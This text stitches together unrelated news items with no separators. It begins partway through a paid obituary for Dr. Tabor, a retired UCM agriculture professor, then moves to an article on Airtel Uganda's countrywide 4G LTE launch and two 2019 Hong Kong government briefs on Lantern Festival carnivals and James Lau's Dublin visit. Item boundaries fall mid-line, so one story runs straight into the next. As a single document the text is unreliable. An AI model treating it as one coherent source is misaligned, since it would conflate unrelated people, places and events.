After working for the Atomic Energy Commission in Oak Ridge, Tenn., Dr. Tabor joined UCM in 1973. He taught a wide range of courses in both agriculture and science as well as sponsored a number of collegiate clubs and groups. He also provided leadership for the agriculture department as its chair for 19 years. Under his direction, the department established its Writing Across the Curriculum program, which was used as a model for other campus departments. A former recipient of the Byler Distinguished Faculty Award, Dr. Tabor had an outstanding record of teaching, scholarly research, and campus service. He retired in 2000 as professor emeritus of agriculture.

Having a strong interest in research, Dr. Tabor's projects have ranged from studying bomb fallout isotopes while at Oak Ridge to radon gas and irradiated foods research while a faculty member at UCM. Such efforts caught the attention of editors at scientific journals and in the mainstream press. Dr. Tabor was an insatiable learner, and read constantly. He enjoyed running, beginning in his younger years (where he set and held the record for the fastest mile at Eastern Illinois University, Charleston) until just a few years ago. He also loved to travel with Brenda, and they had the opportunity to visit places such as China, Australia, Europe and the Panama Canal. He was a former deacon with First Presbyterian Church of Warrensburg and a longtime Rotarian. In his spare time, he enjoyed taking care of his lawn and finding out the latest activities of his two beloved granddaughters.

Dr. Tabor is survived by his daughter, Laura Stropes, her husband, Matthew, and their two daughters, Payton and Piper, all of Lees Summit; his brother, Ronald Ray Tabor, and his wife, Merna, of Cotter, Ark.; and many nieces, nephews, extended family and dear friends.

He was preceded in death by his wife of nearly 50 years, Brenda; parents, Troy and Nina Tabor; and brother and sister-in-law, Charles Cleve Chuck Tabor and Betty Tabor.

A funeral service will be held at 11 a.m. Monday, Feb. 18, at the First Presbyterian Church of Warrensburg, with the Rev. Heather Jepsen officiating. Interment will follow the service in Sunset Hill Cemetery.

Family will receive friends from 10 a.m. until service time Monday at the church.

Contributions may be made to the Johnson County Food Center or to the Warrensburg Animal Shelter in his memory. Checks may be left in care of Sweeney-Phillips & Holdren Funeral Home.

(Paid Obituary)Airtel Uganda on Wednesday launched the first ever 4G Internet across the country at a ceremony that took place at the Kampala Serena International Conference Centre.

Today we are here to celebrate making Uganda a digital Uganda. It gives me pride to be here today as we celebrate another milestone at the core of our business in Uganda  countrywide 4G connectivity, said the Managing Director V.G Somasekhar.

He said Airtel Uganda is the first telecom in Uganda to achieve 100 percent 4GLTE sites across the country,

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In the next 3-5 years, we should be able to match internet access in Australia and Europe with big targets. Airtel4G impacts almost all sectors, he said.

The event was attended by government officials including the 1st Deputy Prime Minister Moses Ali, who represented Prime Minister Dr Ruhakana Rugunda, Uganda Communications executive director Godfrey Mutabazi and others such as diplomats.

Speaking to the audience as chief guest Moses Ali said: Today, I am honored and privileged to be here as Airtel takes leadership by modernizing its entire network to 100 percent 4G LTE making it the first telecom to achieve countrywide LTE coverage in Uganda.

Speaking at the launch UCCs Mutabazi said: As a regulator, we are happy the private sector is leading this revolution which is a sign for total commitment to the country and the region. For that we appreciate Airtel Uganda.

Today we are here to launch yet another first on the Ugandan market, 100% 4G LTE across the country. This means a fast and reliable internet that will promote financial and digital inclusion in Uganda, said Ravi Shankar, the Indian High Commissioner to Uganda.

Airtel subscribers can now visit the nearest service centres with their national ID to upgrade sim cards from 3G to 4G for quickest downloads.Hong Kong: Lantern carnivals to be held

The Leisure & Cultural Services Department will hold three lantern carnivals from February 17 to 19 to celebrate the Lunar New Year Lantern Festival.

The carnivals will be held in North District Park on February 17, in Tin Shui Wai Park and Ginza Square on February 18, and at the Hong Kong Cultural Centre Piazza on February 19.

Folk craft masters from Guangdong, Macau and Hong Kong will give demonstrations on Xiguan copperware making, ceramic repair, guqin making and dough figurine crafting at the carnivals.

The Hubei Arts Troupe, supported by the Hong Kong, Macao & Taiwan Affairs Office of the Ministry of Culture & Tourism, will showcase spectacular ethnic songs, dance and martial arts performances.

Chinese juggling, kunqu and Taoist music performances will also be featured at the North District Park carnival.

Additionally, the Intangible Cultural Heritage Office will hold an exhibition on traditional paper crafting from February 14 to 19 at the Hong Kong Cultural Centre Piazza.

Click here for details.

This story has been published on: 2019-02-13. To contact the author, please use the contact details within the article.Hong Kong: James Lau starts Dublin trip

Secretary for Financial Services & the Treasury James Lau started his Dublin visit to foster closer financial ties between Hong Kong and Ireland.

Mr Lau shared at a luncheon with executives from Goshawk, an international aircraft leasing company headquartered there, how Hong Kong and Ireland can step up collaboration in aircraft leasing and work together to seize the vast opportunities ahead.

He then toured another leading aircraft leasing company, Avolon, and updated its management on Hong Kongs efforts in promoting aircraft leasing business.

In the evening, Mr Lau met Minister of State at the Department of Finance & Public Expenditure & Reform of Ireland Michael DArcy to discuss latest developments of green finance and financial technologies in both places.

Both sides looked forward to further co-operation in financial services.

Mr Lau also joined a welcoming reception for international delegates and speakers of the European Financial Forum.

This story has been published on: 2019-02-13. To contact the author, please use the contact details within the article.